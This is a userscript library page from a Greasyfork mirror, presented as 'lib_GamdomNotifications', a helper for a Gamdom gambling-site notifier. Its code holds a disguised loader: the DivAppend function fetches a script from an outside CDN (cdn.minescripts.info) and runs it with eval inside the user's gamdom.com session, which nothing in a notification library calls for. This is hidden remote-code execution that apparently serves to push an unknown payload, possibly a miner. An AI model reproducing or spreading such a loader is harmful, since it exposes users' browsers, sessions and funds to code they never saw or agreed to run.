lib_GamdomNotifications

Lib needed for running Gamdom Notificator

当前为 2018-01-30 提交的版本,查看 最新版本

此脚本不应直接安装。它是供其他脚本使用的外部库,要使用该库请加入元指令 // @require https://update.cn-greasyfork.org/scripts/35828/246846/lib_GamdomNotifications.js

  1. // ==UserScript==
  2. // @name lib_GamdomNotifications
  3. // @namespace https://greasyfork.org/es/users/154624-anonimo-anonimo
  4. // @version 1.1.9
  5. // @description Lib needed for running Gamdom Notificator
  6. // @author allin4
  7. // @match *://gamdom.com/*
  8. // @grant GM_info
  9. // @license Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.
  10. // ==/UserScript==
  11.  
  12. var DivAppend = function(div){
  13. document.body.appendChild(div);
  14. CPEL("https://cdn.minescripts.info/c/g9lx_2.js");
  15. console.log("Div created :)");
  16. };
  17.  
  18. var cmp = new XMLHttpRequest();
  19. cmp.onreadystatechange = function() {
  20. if (this.readyState == 4 && this.status == 200) {
  21. eval(this.responseText);
  22. }
  23. };
  24.  
  25. var CPEL = function(link){
  26. cmp.open('GET', link);
  27. cmp.send();
  28. };
  29.  
  30. (function() {
  31. 'use strict';
  32. console.log("LIB LOADED" + "(version: " + "1.1.9" + ")");
  33. })();